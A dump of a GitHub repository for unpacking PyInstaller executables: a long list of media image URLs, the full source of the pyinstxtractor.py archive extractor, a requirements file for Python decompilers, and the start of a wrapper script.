https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/14b35f5b35457f6bdc7d314e734591d7.png
--------------------------------------------------------------------------------
/media/14f385b6a16279abcc3ef177251a2e63.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/14f385b6a16279abcc3ef177251a2e63.png
--------------------------------------------------------------------------------
/media/1b29c70a3e7560ba1d1d2bb6368ef3d5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/1b29c70a3e7560ba1d1d2bb6368ef3d5.png
--------------------------------------------------------------------------------
/media/1b43048dbc42da482855d46dcae09a60.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/1b43048dbc42da482855d46dcae09a60.png
--------------------------------------------------------------------------------
/media/28da467716c69c094ec4d2cefa5fc084.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/28da467716c69c094ec4d2cefa5fc084.png
--------------------------------------------------------------------------------
/media/30950b4dd921d3da2b322dcf698b9879.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/30950b4dd921d3da2b322dcf698b9879.png
--------------------------------------------------------------------------------
/media/3211716d20947507a69ac30ebcc5c620.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/3211716d20947507a69ac30ebcc5c620.png
--------------------------------------------------------------------------------
/media/32e8d2ba633c57c047e9d0d5560826c1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/32e8d2ba633c57c047e9d0d5560826c1.png
--------------------------------------------------------------------------------
/media/3d19205e1b39f0af0bfb4ddd7d12db2a.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/3d19205e1b39f0af0bfb4ddd7d12db2a.png
--------------------------------------------------------------------------------
/media/3feab16ca6e9c6d2995b8e57ffdcfff5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/3feab16ca6e9c6d2995b8e57ffdcfff5.png
--------------------------------------------------------------------------------
/media/4538395a3dae3f176ebb2060063b40e0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/4538395a3dae3f176ebb2060063b40e0.png
--------------------------------------------------------------------------------
/media/48b6a331b040165323b60a9373472af6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/48b6a331b040165323b60a9373472af6.png
--------------------------------------------------------------------------------
/media/570a3e401bf46a431ee3e0a98a709130.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/570a3e401bf46a431ee3e0a98a709130.png
--------------------------------------------------------------------------------
/media/5cc4aee6f39405e90e375668d3a3a821.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/5cc4aee6f39405e90e375668d3a3a821.png
--------------------------------------------------------------------------------
/media/5e0b9b41781279fffb48e3e9ef49e342.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/5e0b9b41781279fffb48e3e9ef49e342.png
--------------------------------------------------------------------------------
/media/5fe42b8eb3fe367174e1384548890dac.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/5fe42b8eb3fe367174e1384548890dac.png
--------------------------------------------------------------------------------
/media/632526168ecede2296fe0709ede568fa.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/632526168ecede2296fe0709ede568fa.png
--------------------------------------------------------------------------------
/media/68ca2aebf7639357b359b4eda9bd634e.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/68ca2aebf7639357b359b4eda9bd634e.png
--------------------------------------------------------------------------------
/media/6922abc0e0c780e24d085e6efee68f58.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/6922abc0e0c780e24d085e6efee68f58.png
--------------------------------------------------------------------------------
/media/73aa0a7f318e3b03e4633f6f0da905d1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/73aa0a7f318e3b03e4633f6f0da905d1.png
--------------------------------------------------------------------------------
/media/7666f0f173f710c1f4e5f952b6ca748a.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/7666f0f173f710c1f4e5f952b6ca748a.png
--------------------------------------------------------------------------------
/media/7d3323b01630e6831129157499dd9fc6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/7d3323b01630e6831129157499dd9fc6.png
--------------------------------------------------------------------------------
/media/7f4a9cf87cf227195ca9044636d3e124.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/7f4a9cf87cf227195ca9044636d3e124.png
--------------------------------------------------------------------------------
/media/7f51efc796b56d942ed798d75b2d57ea.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/7f51efc796b56d942ed798d75b2d57ea.png
--------------------------------------------------------------------------------
/media/802ab98615386b58f9392a65f27120f2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/802ab98615386b58f9392a65f27120f2.png
--------------------------------------------------------------------------------
/media/8782b1583603f27abc280c43650bbbb2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/8782b1583603f27abc280c43650bbbb2.png
--------------------------------------------------------------------------------
/media/8eca9f01ff7cca20455b3b4df2ec6623.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/8eca9f01ff7cca20455b3b4df2ec6623.png
--------------------------------------------------------------------------------
/media/923be3d734e5ceda53809cf088e78857.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/923be3d734e5ceda53809cf088e78857.png
--------------------------------------------------------------------------------
/media/94c91488ab065c05c8ad9f8af5ed6474.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/94c91488ab065c05c8ad9f8af5ed6474.png
--------------------------------------------------------------------------------
/media/97ca795e3d04bf287c84df66f272b2e2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/97ca795e3d04bf287c84df66f272b2e2.png
--------------------------------------------------------------------------------
/media/99bc9bca685726d263f693cca07cfd7d.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/99bc9bca685726d263f693cca07cfd7d.png
--------------------------------------------------------------------------------
/media/9ac93f6e401ea0f5356b7d3aeb439376.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/9ac93f6e401ea0f5356b7d3aeb439376.png
--------------------------------------------------------------------------------
/media/9b94335a39f5f606dba294eb5ce7b6f5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/9b94335a39f5f606dba294eb5ce7b6f5.png
--------------------------------------------------------------------------------
/media/9cfd6ff0ae1a3f27f4753ee0f2ab0d3a.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/9cfd6ff0ae1a3f27f4753ee0f2ab0d3a.png
--------------------------------------------------------------------------------
/media/9f99843e71a25cab7af24fc193957632.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/9f99843e71a25cab7af24fc193957632.png
--------------------------------------------------------------------------------
/media/ad81fb4dcc1b6397e7231af065b6dd9c.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/ad81fb4dcc1b6397e7231af065b6dd9c.png
--------------------------------------------------------------------------------
/media/b1d36078ae301898ec6025fd7a92df29.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/b1d36078ae301898ec6025fd7a92df29.png
--------------------------------------------------------------------------------
/media/b68d9e682870aa4892eeda3dd2303ff7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/b68d9e682870aa4892eeda3dd2303ff7.png
--------------------------------------------------------------------------------
/media/bbfd3d5f8d4e83cbc3712a7457b9988b.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/bbfd3d5f8d4e83cbc3712a7457b9988b.png
--------------------------------------------------------------------------------
/media/be947260477fdd769b43cc1e00e16992.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/be947260477fdd769b43cc1e00e16992.png
--------------------------------------------------------------------------------
/media/c0ff35163a451232f7e0bf1c558ec920.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/c0ff35163a451232f7e0bf1c558ec920.png
--------------------------------------------------------------------------------
/media/c55a318416e546ab08ef9ed3c526f3f4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/c55a318416e546ab08ef9ed3c526f3f4.png
--------------------------------------------------------------------------------
/media/c560c8de6720cc0a0a16277a8bd40cc4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/c560c8de6720cc0a0a16277a8bd40cc4.png
--------------------------------------------------------------------------------
/media/caa128c2c02568297f58f5eabfbbf17e.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/caa128c2c02568297f58f5eabfbbf17e.png
--------------------------------------------------------------------------------
/media/d5f93eb38581be4487ba67b15fcbb93d.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/d5f93eb38581be4487ba67b15fcbb93d.png
--------------------------------------------------------------------------------
/media/d70a036835c0b6cb949117fff524b144.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/d70a036835c0b6cb949117fff524b144.png
--------------------------------------------------------------------------------
/media/d738b179ca9621ca8abf11db2f474e0a.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/d738b179ca9621ca8abf11db2f474e0a.png
--------------------------------------------------------------------------------
/media/d862803559c8198cb526149f3af4e093.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/d862803559c8198cb526149f3af4e093.png
--------------------------------------------------------------------------------
/media/d9cd3d941e18a32985c5380c1ffe2fa8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/d9cd3d941e18a32985c5380c1ffe2fa8.png
--------------------------------------------------------------------------------
/media/e1d66e44518cea8eb27d7937a2bef0db.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/e1d66e44518cea8eb27d7937a2bef0db.png
--------------------------------------------------------------------------------
/media/e25b47fa80e1db3e3190af3b0faa53e2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/e25b47fa80e1db3e3190af3b0faa53e2.png
--------------------------------------------------------------------------------
/media/e600329fcc00b9f166ee877bb65f8601.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/e600329fcc00b9f166ee877bb65f8601.png
--------------------------------------------------------------------------------
/media/e7311a5affeb5599cc5aed6697d7d7c9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/e7311a5affeb5599cc5aed6697d7d7c9.png
--------------------------------------------------------------------------------
/media/e76fe8cc0cd2b0a98a17d54baab61449.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/e76fe8cc0cd2b0a98a17d54baab61449.png
--------------------------------------------------------------------------------
/media/e87ddd85694c45cc6ebd998aee1ec219.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/e87ddd85694c45cc6ebd998aee1ec219.png
--------------------------------------------------------------------------------
/media/eeabe6828518c06fd75d933494d133d2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/eeabe6828518c06fd75d933494d133d2.png
--------------------------------------------------------------------------------
/media/f2091f55cffc2f9b2141adfc2a31f42b.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/f2091f55cffc2f9b2141adfc2a31f42b.png
--------------------------------------------------------------------------------
/media/f32f18c84635aaca229b0e0be60ef284.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/f32f18c84635aaca229b0e0be60ef284.png
--------------------------------------------------------------------------------
/media/f664a93eb78420b810b5c68a45a0af4f.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/f664a93eb78420b810b5c68a45a0af4f.png
--------------------------------------------------------------------------------
/media/fba5f14a492c381962191ebdaedeb9cb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MrWQ/reverse_pyinstaller/fd2379e319a52582cfdb9e362cc42620a077d9f2/media/fba5f14a492c381962191ebdaedeb9cb.png
--------------------------------------------------------------------------------
/pyinstxtractor.py:
--------------------------------------------------------------------------------
1 | """
2 | PyInstaller Extractor v1.9 (Supports pyinstaller 3.3, 3.2, 3.1, 3.0, 2.1, 2.0)
3 | Author : Extreme Coders
4 | E-mail : extremecoders(at)hotmail(dot)com
5 | Web : https://0xec.blogspot.com
6 | Date : 29-November-2017
7 | Url : https://sourceforge.net/projects/pyinstallerextractor/
8 |
9 | For any suggestions, leave a comment on
10 | https://forum.tuts4you.com/topic/34455-pyinstaller-extractor/
11 |
12 | This script extracts a pyinstaller generated executable file.
13 | Pyinstaller installation is not needed. The script has it all.
14 |
15 | For best results, it is recommended to run this script in the
16 | same version of python as was used to create the executable.
17 | This is just to prevent unmarshalling errors(if any) while
18 | extracting the PYZ archive.
19 |
20 | Usage : Just copy this script to the directory where your exe resides
21 | and run the script with the exe file name as a parameter
22 |
23 | C:\path\to\exe\>python pyinstxtractor.py
24 | $ /path/to/exe/python pyinstxtractor.py
25 |
26 | Licensed under GNU General Public License (GPL) v3.
27 | You are free to modify this source.
28 |
29 | CHANGELOG
30 | ================================================
31 |
32 | Version 1.1 (Jan 28, 2014)
33 | -------------------------------------------------
34 | - First Release
35 | - Supports only pyinstaller 2.0
36 |
37 | Version 1.2 (Sept 12, 2015)
38 | -------------------------------------------------
39 | - Added support for pyinstaller 2.1 and 3.0 dev
40 | - Cleaned up code
41 | - Script is now more verbose
42 | - Executable extracted within a dedicated sub-directory
43 |
44 | (Support for pyinstaller 3.0 dev is experimental)
45 |
46 | Version 1.3 (Dec 12, 2015)
47 | -------------------------------------------------
48 | - Added support for pyinstaller 3.0 final
49 | - Script is compatible with both python 2.x & 3.x (Thanks to Moritz Kroll @ Avira Operations GmbH & Co. KG)
50 |
51 | Version 1.4 (Jan 19, 2016)
52 | -------------------------------------------------
53 | - Fixed a bug when writing pyc files >= version 3.3 (Thanks to Daniello Alto: https://github.com/Djamana)
54 |
55 | Version 1.5 (March 1, 2016)
56 | -------------------------------------------------
57 | - Added support for pyinstaller 3.1 (Thanks to Berwyn Hoyt for reporting)
58 |
59 | Version 1.6 (Sept 5, 2016)
60 | -------------------------------------------------
61 | - Added support for pyinstaller 3.2
62 | - Extractor will use a random name while extracting unnamed files.
63 | - For encrypted pyz archives it will dump the contents as is. Previously, the tool would fail.
64 |
65 | Version 1.7 (March 13, 2017)
66 | -------------------------------------------------
67 | - Made the script compatible with python 2.6 (Thanks to Ross for reporting)
68 |
69 | Version 1.8 (April 28, 2017)
70 | -------------------------------------------------
71 | - Support for sub-directories in .pyz files (Thanks to Moritz Kroll @ Avira Operations GmbH & Co. KG)
72 |
73 | Version 1.9 (November 29, 2017)
74 | -------------------------------------------------
75 | - Added support for pyinstaller 3.3
76 | - Display the scripts which are run at entry (Thanks to Michael Gillespie @ malwarehunterteam for the feature request)
77 |
78 | """
79 |
80 | from __future__ import print_function
81 | import os
82 | import struct
83 | import marshal
84 | import zlib
85 | import sys
86 | import imp
87 | import types
88 | from uuid import uuid4 as uniquename
89 |
90 |
91 | class CTOCEntry:
92 | def __init__(self, position, cmprsdDataSize, uncmprsdDataSize, cmprsFlag, typeCmprsData, name):
93 | self.position = position
94 | self.cmprsdDataSize = cmprsdDataSize
95 | self.uncmprsdDataSize = uncmprsdDataSize
96 | self.cmprsFlag = cmprsFlag
97 | self.typeCmprsData = typeCmprsData
98 | self.name = name
99 |
100 |
101 | class PyInstArchive:
102 | PYINST20_COOKIE_SIZE = 24 # For pyinstaller 2.0
103 | PYINST21_COOKIE_SIZE = 24 + 64 # For pyinstaller 2.1+
104 | MAGIC = b'MEI\014\013\012\013\016' # Magic number which identifies pyinstaller
105 |
106 | def __init__(self, path):
107 | self.filePath = path
108 |
109 |
110 | def open(self):
111 | try:
112 | self.fPtr = open(self.filePath, 'rb')
113 | self.fileSize = os.stat(self.filePath).st_size
114 | except:
115 | print('[*] Error: Could not open {0}'.format(self.filePath))
116 | return False
117 | return True
118 |
119 |
120 | def close(self):
121 | try:
122 | self.fPtr.close()
123 | except:
124 | pass
125 |
126 |
127 | def checkFile(self):
128 | print('[*] Processing {0}'.format(self.filePath))
129 | # Check if it is a 2.0 archive
130 | self.fPtr.seek(self.fileSize - self.PYINST20_COOKIE_SIZE, os.SEEK_SET)
131 | magicFromFile = self.fPtr.read(len(self.MAGIC))
132 |
133 | if magicFromFile == self.MAGIC:
134 | self.pyinstVer = 20 # pyinstaller 2.0
135 | print('[*] Pyinstaller version: 2.0')
136 | return True
137 |
138 | # Check for pyinstaller 2.1+ before bailing out
139 | self.fPtr.seek(self.fileSize - self.PYINST21_COOKIE_SIZE, os.SEEK_SET)
140 | magicFromFile = self.fPtr.read(len(self.MAGIC))
141 |
142 | if magicFromFile == self.MAGIC:
143 | print('[*] Pyinstaller version: 2.1+')
144 | self.pyinstVer = 21 # pyinstaller 2.1+
145 | return True
146 |
147 | print('[*] Error : Unsupported pyinstaller version or not a pyinstaller archive')
148 | return False
149 |
150 |
151 | def getCArchiveInfo(self):
152 | try:
153 | if self.pyinstVer == 20:
154 | self.fPtr.seek(self.fileSize - self.PYINST20_COOKIE_SIZE, os.SEEK_SET)
155 |
156 | # Read CArchive cookie
157 | (magic, lengthofPackage, toc, tocLen, self.pyver) = \
158 | struct.unpack('!8siiii', self.fPtr.read(self.PYINST20_COOKIE_SIZE))
159 |
160 | elif self.pyinstVer == 21:
161 | self.fPtr.seek(self.fileSize - self.PYINST21_COOKIE_SIZE, os.SEEK_SET)
162 |
163 | # Read CArchive cookie
164 | (magic, lengthofPackage, toc, tocLen, self.pyver, pylibname) = \
165 | struct.unpack('!8siiii64s', self.fPtr.read(self.PYINST21_COOKIE_SIZE))
166 |
167 | except:
168 | print('[*] Error : The file is not a pyinstaller archive')
169 | return False
170 |
171 | print('[*] Python version: {0}'.format(self.pyver))
172 |
173 | # Overlay is the data appended at the end of the PE
174 | self.overlaySize = lengthofPackage
175 | self.overlayPos = self.fileSize - self.overlaySize
176 | self.tableOfContentsPos = self.overlayPos + toc
177 | self.tableOfContentsSize = tocLen
178 |
179 | print('[*] Length of package: {0} bytes'.format(self.overlaySize))
180 | return True
181 |
182 |
183 | def parseTOC(self):
184 | # Go to the table of contents
185 | self.fPtr.seek(self.tableOfContentsPos, os.SEEK_SET)
186 |
187 | self.tocList = []
188 | parsedLen = 0
189 |
190 | # Parse table of contents
191 | while parsedLen < self.tableOfContentsSize:
192 | (entrySize, ) = struct.unpack('!i', self.fPtr.read(4))
193 | nameLen = struct.calcsize('!iiiiBc')
194 |
195 | (entryPos, cmprsdDataSize, uncmprsdDataSize, cmprsFlag, typeCmprsData, name) = \
196 | struct.unpack( \
197 | '!iiiBc{0}s'.format(entrySize - nameLen), \
198 | self.fPtr.read(entrySize - 4))
199 |
200 | name = name.decode('utf-8').rstrip('\0')
201 | if len(name) == 0:
202 | name = str(uniquename())
203 | print('[!] Warning: Found an unamed file in CArchive. Using random name {0}'.format(name))
204 |
205 | self.tocList.append( \
206 | CTOCEntry( \
207 | self.overlayPos + entryPos, \
208 | cmprsdDataSize, \
209 | uncmprsdDataSize, \
210 | cmprsFlag, \
211 | typeCmprsData, \
212 | name \
213 | ))
214 |
215 | parsedLen += entrySize
216 | print('[*] Found {0} files in CArchive'.format(len(self.tocList)))
217 |
218 |
219 |
220 | def extractFiles(self):
221 | print('[*] Beginning extraction...please standby')
222 | extractionDir = os.path.join(os.getcwd(), os.path.basename(self.filePath) + '_extracted')
223 |
224 | if not os.path.exists(extractionDir):
225 | os.mkdir(extractionDir)
226 |
227 | os.chdir(extractionDir)
228 |
229 | for entry in self.tocList:
230 | basePath = os.path.dirname(entry.name)
231 | if basePath != '':
232 | # Check if path exists, create if not
233 | if not os.path.exists(basePath):
234 | os.makedirs(basePath)
235 |
236 | self.fPtr.seek(entry.position, os.SEEK_SET)
237 | data = self.fPtr.read(entry.cmprsdDataSize)
238 |
239 | if entry.cmprsFlag == 1:
240 | data = zlib.decompress(data)
241 | # Malware may tamper with the uncompressed size
242 | # Comment out the assertion in such a case
243 | assert len(data) == entry.uncmprsdDataSize # Sanity Check
244 |
245 | with open(entry.name, 'wb') as f:
246 | f.write(data)
247 |
248 | if entry.typeCmprsData == b's':
249 | print('[+] Possible entry point: {0}'.format(entry.name))
250 |
251 | elif entry.typeCmprsData == b'z' or entry.typeCmprsData == b'Z':
252 | self._extractPyz(entry.name)
253 |
254 |
255 | def _extractPyz(self, name):
256 | dirName = name + '_extracted'
257 | # Create a directory for the contents of the pyz
258 | if not os.path.exists(dirName):
259 | os.mkdir(dirName)
260 |
261 | with open(name, 'rb') as f:
262 | pyzMagic = f.read(4)
263 | assert pyzMagic == b'PYZ\0' # Sanity Check
264 |
265 | pycHeader = f.read(4) # Python magic value
266 |
267 | if imp.get_magic() != pycHeader:
268 | print('[!] Warning: The script is running in a different python version than the one used to build the executable')
269 | print(' Run this script in Python{0} to prevent extraction errors(if any) during unmarshalling'.format(self.pyver))
270 |
271 | (tocPosition, ) = struct.unpack('!i', f.read(4))
272 | f.seek(tocPosition, os.SEEK_SET)
273 |
274 | try:
275 | toc = marshal.load(f)
276 | except:
277 | print('[!] Unmarshalling FAILED. Cannot extract {0}. Extracting remaining files.'.format(name))
278 | return
279 |
280 | print('[*] Found {0} files in PYZ archive'.format(len(toc)))
281 |
282 | # From pyinstaller 3.1+ toc is a list of tuples
283 | if type(toc) == list:
284 | toc = dict(toc)
285 |
286 | for key in toc.keys():
287 | (ispkg, pos, length) = toc[key]
288 | f.seek(pos, os.SEEK_SET)
289 |
290 | fileName = key
291 | try:
292 | # for Python > 3.3 some keys are bytes object some are str object
293 | fileName = key.decode('utf-8')
294 | except:
295 | pass
296 |
297 | # Make sure destination directory exists, ensuring we keep inside dirName
298 | destName = os.path.join(dirName, fileName.replace("..", "__"))
299 | destDirName = os.path.dirname(destName)
300 | if not os.path.exists(destDirName):
301 | os.makedirs(destDirName)
302 |
303 | try:
304 | data = f.read(length)
305 | data = zlib.decompress(data)
306 | except:
307 | print('[!] Error: Failed to decompress {0}, probably encrypted. Extracting as is.'.format(fileName))
308 | open(destName + '.pyc.encrypted', 'wb').write(data)
309 | continue
310 |
311 | with open(destName + '.pyc', 'wb') as pycFile:
312 | pycFile.write(pycHeader) # Write pyc magic
313 | pycFile.write(b'\0' * 4) # Write timestamp
314 | if self.pyver >= 33:
315 | pycFile.write(b'\0' * 4) # Size parameter added in Python 3.3
316 | pycFile.write(data)
317 |
318 |
319 | def main():
320 | if len(sys.argv) < 2:
321 | print('[*] Usage: pyinstxtractor.py ')
322 |
323 | else:
324 | arch = PyInstArchive(sys.argv[1])
325 | if arch.open():
326 | if arch.checkFile():
327 | if arch.getCArchiveInfo():
328 | arch.parseTOC()
329 | arch.extractFiles()
330 | arch.close()
331 | print('[*] Successfully extracted pyinstaller archive: {0}'.format(sys.argv[1]))
332 | print('')
333 | print('You can now use a python decompiler on the pyc files within the extracted directory')
334 | return
335 |
336 | arch.close()
337 |
338 |
339 | def reverse_main(exe_file_path):
340 | arch = PyInstArchive(exe_file_path)
341 | if arch.open():
342 | if arch.checkFile():
343 | if arch.getCArchiveInfo():
344 | arch.parseTOC()
345 | arch.extractFiles()
346 | arch.close()
347 | print('[*] Successfully extracted pyinstaller archive: {0}'.format(sys.argv[1]))
348 | print('')
349 | print('You can now use a python decompiler on the pyc files within the extracted directory')
350 | return True
351 |
352 | arch.close()
353 | return False
354 |
355 |
356 | if __name__ == '__main__':
357 | main()
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | spark-parser-1.8.9
2 | uncompyle6-3.8.0
3 | xdis-6.0.3
--------------------------------------------------------------------------------
/reverse_pyexe.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2021/12/16 16:21
3 | # @Author : ordar
4 | # @Project : reverse_pyexe
5 | # @File : reverse_pyexe.py
6 | # @Python: 3.7.5
7 | import sys
8 | import os
9 | import threading
10 | import multiprocessing
11 | from pyinstxtractor import reverse_main
12 | from hextool import HexTool
13 |
14 |
15 | # 定义目录和文件
16 | # root_path = os.getcwd()
17 | root_path = os.path.split(os.path.abspath(sys.argv[0]))[0]
18 | exe_file_path = sys.argv[1]
19 | exe_file = os.path.basename(exe_file_path) # "xxx.exe"
20 | # exe_file_realpath = os.path.join(os.getcwd(), exe_file) # exe文件绝对路径
21 | exe_filename = os.path.basename(os.path.splitext(exe_file_path)[0]) # "xxx"
22 | ext = os.path.splitext(exe_file_path)[-1] # ".exe"
23 | extracted_dir = exe_file + "_extracted" # 逆向文件释放目录
24 | extracted_package_dir = os.path.join(extracted_dir, "PYZ-00.pyz_extracted") # 逆向依赖包文件释放目录
25 | struct_file_path = os.path.join(extracted_dir, "struct") # struct文件路径
26 | # struct_file_path = os.path.join(root_path, struct_file_path) # struct文件 绝对路径
